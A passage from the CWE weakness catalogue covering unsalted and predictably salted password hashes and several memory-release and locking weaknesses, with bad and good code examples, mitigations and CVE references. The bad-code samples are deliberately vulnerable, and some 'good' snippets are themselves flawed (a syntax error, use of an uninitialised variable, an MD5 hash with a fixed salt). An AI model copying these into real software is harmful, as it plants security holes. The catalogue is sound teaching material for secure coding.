#### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

#### Automated Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

#### Automated Static Analysis

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

#### Architecture / Design Review

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

### Demonstrative Examples

**Example 1:**

In both of these examples, a user is logged in if their given password matches a stored password:

**C Example:***Bad Code*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

**Java Example:***Bad Code*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password. Note this code also exhibits CWE-328 (Reversible One-Way Hash).

**Example 2:**

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

**Python Example:***Bad Code*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update>Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

**Python Example:***Good Code*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update>Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

**Observed Examples**

Reference	Description
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords.

**Potential Mitigations**

**Architecture and Design****High**

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.759.1], scrypt [R.759.2], and PBKDF2 [R.759.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

**Architecture and Design****Limited**

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.






**Implementation****Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

**Background Details**

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	 <b>809</b>	1247
ChildOf		866	2011 Top 25 - Porous Defenses	<b>900</b>	1309
ChildOf		916	Use of Password Hash With Insufficient Computational Effort	<b>1000</b>	1341
ChildOf		958	SFP Secondary Cluster: Broken Cryptography	<b>888</b>	1375

**References**

[REF-45] Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.

[REF-39] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.

[REF-40] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. < <http://tools.ietf.org/html/rfc2898> >.

[REF-38] Coda Hale. "How To Safely Store A Password". 2010-01-31. < <http://codahale.com/how-to-safely-store-a-password/> >.

- [REF-41] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.
- [REF-42] Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.
- [REF-43] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.
- [REF-44] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.
- [REF-46] OWASP. "Password Storage Cheat Sheet". < [https://www.owasp.org/index.php/Password\\_Storage\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) >.
- [REF-47] Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. < <http://www.securityfocus.com/blogs/262> >.
- [REF-48] Robert Graham. "The Importance of Being Canonical". 2009-02-02. < <http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html> >.
- [REF-49] James McGlinn. "Password Hashing". < <http://phpsec.org/articles/2005/password-hashing.html> >.
- [REF-50] Jeff Atwood. "Rainbow Hash Cracking". 2007-09-08. < <http://www.codinghorror.com/blog/archives/000949.html> >.
- [REF-51] Jeff Atwood. "Speed Hashing". 2012-04-06. < <http://www.codinghorror.com/blog/2012/04/speed-hashing.html> >.
- [REF-52] "Rainbow table". Wikipedia. 2009-03-03. < [http://en.wikipedia.org/wiki/Rainbow\\_table](http://en.wikipedia.org/wiki/Rainbow_table) >.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "Creating a Salted Hash" Page 302. 2nd Edition. Microsoft. 2002.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Salt Values", Page 46.. 1st Edition. Addison Wesley. 2006.

## CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID: 760 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.

#### Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Observed Examples

Reference	Description
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks.
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.



Reference	Description
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash.

## Potential Mitigations

### Architecture and Design

#### High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.760.1], scrypt [R.760.2], and PBKDF2 [R.760.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

### Implementation

#### Limited



If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

## Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		916	Use of Password Hash With Insufficient Computational Effort	<b>1000</b>	1341
ChildOf		958	SFP Secondary Cluster: Broken Cryptography	<b>888</b>	1375

## References

[REF-45] Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.

[REF-39] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.

[REF-40] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. < <http://tools.ietf.org/html/rfc2898> >.

[REF-38] Coda Hale. "How To Safely Store A Password". 2010-01-31. < <http://codahale.com/how-to-safely-store-a-password/> >.

[REF-41] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.



- [REF-42] Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.
- [REF-43] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.
- [REF-44] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.
- [REF-46] OWASP. "Password Storage Cheat Sheet". < [https://www.owasp.org/index.php/Password\\_Storage\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) >.
- [REF-47] Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. < <http://www.securityfocus.com/blogs/262> >.
- [REF-48] Robert Graham. "The Importance of Being Canonical". 2009-02-02. < <http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html> >.
- [REF-49] James McGlinn. "Password Hashing". < <http://phpsec.org/articles/2005/password-hashing.html> >.
- [REF-50] Jeff Atwood. "Rainbow Hash Cracking". 2007-09-08. < <http://www.codinghorror.com/blog/archives/000949.html> >.
- [REF-51] Jeff Atwood. "Speed Hashing". 2012-04-06. < <http://www.codinghorror.com/blog/2012/04/speed-hashing.html> >.
- [REF-52] "Rainbow table". Wikipedia. 2009-03-03. < [http://en.wikipedia.org/wiki/Rainbow\\_table](http://en.wikipedia.org/wiki/Rainbow_table) >.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "Creating a Salted Hash" Page 302. 2nd Edition. Microsoft. 2002.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Salt Values", Page 46.. 1st Edition. Addison Wesley. 2006.

## CWE-761: Free of Pointer not at Start of Buffer

**Weakness ID:** 761 (*Weakness Variant*)

**Status:** Incomplete

### Description

#### Summary

The application calls `free()` on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

#### Extended Description

This can cause the application to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the `malloc()` family functions and `free()` is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

### Time of Introduction

- Implementation

### Common Consequences

#### Integrity

#### Availability

#### Confidentiality

#### Modify memory

#### DoS: crash / exit / restart

#### Execute unauthorized code or commands

### Demonstrative Examples

#### Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

#### C Example:

```
#define SUCCESS (1)
```

*Bad Code*

```

#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

### C Example:

*Good Code*

```

#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}

```

### Example 2:

This code attempts to tokenize a string and place it into an array using the `strsep` function, which inserts a `\0` byte in place of whitespace or a tab character. After finishing the loop, each string in the `AP` array points to a location within the input string.

### C Example:

*Bad Code*

```

char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
    .../
free(ap[4]);

```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

### Example 3:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

**C Example:**

Bad Code

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = "\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
        add_to_command_queue( tok );
    }
    tok = strtok( NULL, sep);
}
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

**C Example:**

Good Code

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = "\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep);
}
free( input )
```

**Potential Mitigations****Implementation**

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

**Implementation**

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

**Architecture and Design**

Use a language that provides abstractions for memory allocation and deallocation.

**Testing**

Use a tool that dynamically detects memory management problems, such as valgrind.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	399	Resource Management Errors	699	686
ChildOf	C	465	Pointer Issues	699	782
ChildOf	B	763	Release of Invalid Pointer or Reference	1000	1164
ChildOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1380

### Affected Resources

- Memory

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP12	Faulty Memory Release

### References

"boost C++ Library Smart Pointers". < [http://www.boost.org/doc/libs/1\\_38\\_0/libs/smart\\_ptr/smart\\_ptr.htm](http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm) >.

"Valgrind". < <http://valgrind.org/> >.

### Maintenance Notes

Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.

## CWE-762: Mismatched Memory Management Routines

Weakness ID: 762 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The application attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

#### Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine `free()` (CWE-590), which is intended for explicitly allocated heap memory.

The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with `malloc()` in C++ instead of the `new` operator, and then deallocated with the `delete` operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++
- Manual Memory Managed Languages

### Common Consequences

Integrity

Availability

Confidentiality

Modify memory

DoS: crash / exit / restart

Execute unauthorized code or commands

### Likelihood of Exploit

Low

## Demonstrative Examples

### Example 1:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

#### C++ Example:

*Bad Code*

```
void foo(){
  BarObj *ptr = new BarObj()
  /* do some work with ptr here */
  ...
  free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

#### C++ Example:

*Good Code*

```
void foo(){
  BarObj *ptr = new BarObj()
  /* do some work with ptr here */
  ...
  delete ptr;
}
```

### Example 2:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

#### C++ Example:

*Bad Code*

```
class A {
  void foo();
};
void A::foo(){
  int *ptr;
  ptr = (int*)malloc(sizeof(int));
  delete ptr;
}
```

### Example 3:

In this example, the program calls the delete[] function on non-heap memory.

#### C++ Example:

*Bad Code*

```
class A{
  void foo(bool);
};
void A::foo(bool heap) {
  int localArray[2] = {
    11,22
  };
  int *p = localArray;
  if (heap){
    p = new int[2];
  }
  delete[] p;
}
```

## Potential Mitigations

### Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

**Implementation****Libraries or Frameworks**

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [R.762.3].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as `std::auto_ptr` (defined by ISO/IEC ISO/IEC 14882:2003), `std::shared_ptr` and `std::weak_ptr` (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

**Architecture and Design**

Use a language that provides abstractions for memory allocation and deallocation.

**Testing**

Use a tool that dynamically detects memory management problems, such as valgrind.

**Relationships**

Nature	Type	ID	Name	Score	Page
ChildOf	C	399	Resource Management Errors	699	686
ChildOf	B	763	Release of Invalid Pointer or Reference	1000	1164
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	1380
ParentOf	V	590	Free of Memory not on the Heap	1000	930

**Affected Resources**

- Memory

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	MEM39-CPP	Resources allocated by memory allocation functions must be released using the corresponding memory deallocation function
Software Fault Patterns	SFP12	Faulty Memory Release

**References**

"boost C++ Library Smart Pointers". < [http://www.boost.org/doc/libs/1\\_38\\_0/libs/smart\\_ptr/smart\\_ptr.htm](http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm) >.

"Valgrind". < <http://valgrind.org/> >.

[REF-36] iOS Developer Library. "Transitioning to ARC Release Notes". 2013-08-08. < <https://developer.apple.com/library/ios/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html> >.

**CWE-763: Release of Invalid Pointer or Reference**

Weakness ID: 763 (Weakness Base)

Status: Incomplete

**Description****Summary**

The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.

**Extended Description**

This weakness can take several forms, such as:

The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).

The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

### Time of Introduction

- Implementation

### Common Consequences

**Integrity**

**Availability**

**Confidentiality**

**Modify memory**

**DoS: crash / exit / restart**

**Execute unauthorized code or commands**

This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.

### Demonstrative Examples

#### Example 1:

This code attempts to tokenize a string and place it into an array using the `strsep` function, which inserts a `\0` byte in place of whitespace or a tab character. After finishing the loop, each string in the `AP` array points to a location within the input string.

#### C Example:

*Bad Code*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
    if (**ap != '\0')
        if (++ap >= &argv[10])
            break;
    /*...*/
free(ap[4]);
```

Since `strsep` is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of `inputstring`.

#### Example 2:

This example allocates a `BarObj` object using the `new` operator in C++, however, the programmer then deallocates the object using `free()`, which may lead to unexpected behavior.

#### C++ Example:

*Bad Code*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    free(ptr);
}
```

Instead, the programmer should have either created the object with one of the `malloc` family functions, or else deleted the object with the `delete` operator.

#### C++ Example:

*Good Code*

```
void foo(){
    BarObj *ptr = new BarObj()
    /* do some work with ptr here */
    ...
    delete ptr;
}
```

#### Example 3:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return `SUCCESS` or `FAILURE` to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.



**C Example:**

Bad Code

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( *str != NULL){
        if( *str == c){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        str = str + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

**C Example:**

Good Code

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
    char *str;
    int i = 0;
    str = (char*)malloc(20*sizeof(char));
    strcpy(str, "Search Me!");
    while( i < strlen(str) ){
        if( str[i] == c ){
            /* matched char, free string and return success */
            free(str);
            return SUCCESS;
        }
        /* didn't match yet, increment pointer and try next char */
        i = i + 1;
    }
    /* we did not match the char in the string, free mem and return failure */
    free(str);
    return FAILURE;
}
```

**Example 4:**

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

**C Example:**

Bad Code

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = "\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( isMalformed( tok ) ){
        /* ignore and discard bad data */
        free( tok );
    }
    else{
```

```

    add_to_command_queue( tok );
}
tok = strtok( NULL, sep);
}

```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

### C Example:

Good Code

```

//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = "\t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
    if( !isMalformed( command ) ){
        /* copy and enqueue good data */
        command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
        strcpy( command, tok );
        add_to_command_queue( command );
    }
    tok = strtok( NULL, sep);
}
free( input )

```

## Potential Mitigations

### Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with `malloc()`, dispose of the original pointer with `free()`.

### Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

### Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

### Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	399	Resource Management Errors	<b>699</b>	686
ChildOf	<b>B</b>	404	Improper Resource Shutdown or Release	<b>1000</b>	699
ChildOf	<b>C</b>	465	Pointer Issues	699	782
ChildOf	<b>C</b>	633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf	<b>C</b>	969	SFP Secondary Cluster: Faulty Memory Release	<b>888</b>	1380
ParentOf	<b>V</b>	761	<i>Free of Pointer not at Start of Buffer</i>	<b>1000</b>	1159
ParentOf	<b>V</b>	762	<i>Mismatched Memory Management Routines</i>	<b>1000</b>	1162
MemberOf	<b>V</b>	884	<i>CWE Cross-section</i>	<b>884</b>	1319

## Affected Resources

- Memory

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP12	Faulty Memory Release

**References**

"boost C++ Library Smart Pointers". < [http://www.boost.org/doc/libs/1\\_38\\_0/libs/smart\\_ptr/smart\\_ptr.htm](http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm) >.

"Valgrind". < <http://valgrind.org/> >.

**Maintenance Notes**

This area of the view CWE-1000 hierarchy needs additional work. Several entries will likely be created in this branch. Currently the focus is on free() of memory, but delete and other related release routines may require the creation of intermediate entries that are not specific to a particular function. In addition, the role of other types of invalid pointers, such as an expired pointer, i.e. CWE-415 Double Free and release of uninitialized pointers, related to CWE-457.

**CWE-764: Multiple Locks of a Critical Resource****Weakness ID:** 764 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The software locks a critical resource more times than intended, leading to an unexpected state in the system.

**Extended Description**

When software is operating in a concurrent environment and repeatedly locks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra locking calls will reduce the size of the total available pool, possibly leading to degraded performance or a denial of service. If this can be triggered by an attacker, it will be similar to an unrestricted lock (CWE-412). In the context of a binary lock, it is likely that any duplicate locking attempts will never succeed since the lock is already held and progress may not be possible.



**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences****Availability****Integrity****DoS: resource consumption (CPU)****DoS: crash / exit / restart****Unexpected state****Potential Mitigations****Implementation**

When locking and unlocking a resource, try to be sure that all control paths through the code in which the resource is locked one or more times correspond to exactly as many unlocks. If the software acquires a lock and then determines it is not able to perform its intended behavior, be sure to release the lock(s) before waiting for conditions to improve. Reacquire the lock(s) before trying again.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf		667	Improper Locking	<b>699</b>	1032
ChildOf		675	Duplicate Operations on Resource	1000	1043
ChildOf		987	SFP Secondary Cluster: Multiple Locks/Unlocks	<b>888</b>	1387

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP21	Multiple locks/unlocks

### Maintenance Notes

An alternate way to think about this weakness is as an imbalance between the number of locks / unlocks in the control flow. Over the course of execution, if each lock call is not followed by a subsequent call to unlock in a reasonable amount of time, then system performance may be degraded or at least operating at less than peak levels if there is competition for the locks. This entry may need to be modified to reflect these concepts in the future.

## CWE-765: Multiple Unlocks of a Critical Resource

Weakness ID: 765 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software unlocks a critical resource more times than intended, leading to an unexpected state in the system.

#### Extended Description

When software is operating in a concurrent environment and repeatedly unlocks a critical resource, the consequences will vary based on the type of lock, the lock's implementation, and the resource being protected. In some situations such as with semaphores, the resources are pooled and extra calls to unlock will increase the count for the number of available resources, likely resulting in a crash or unpredictable behavior when the system nears capacity.

#### Time of Introduction

- Implementation

#### Common Consequences

Availability

Integrity

